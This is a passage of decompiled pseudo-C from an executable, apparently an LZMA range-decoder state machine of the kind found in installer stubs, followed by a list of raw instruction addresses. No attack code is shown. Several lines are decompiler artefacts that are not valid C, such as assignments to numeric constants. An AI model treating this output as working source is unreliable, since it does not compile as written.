													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x004065de
0x004065de
0x004065e2
0x00406607
0x00406611
0x00000000
0x004065e4
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065f1
0x004065f5
0x004065f5
0x004065f8
0x004066d2
0x004066d2
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
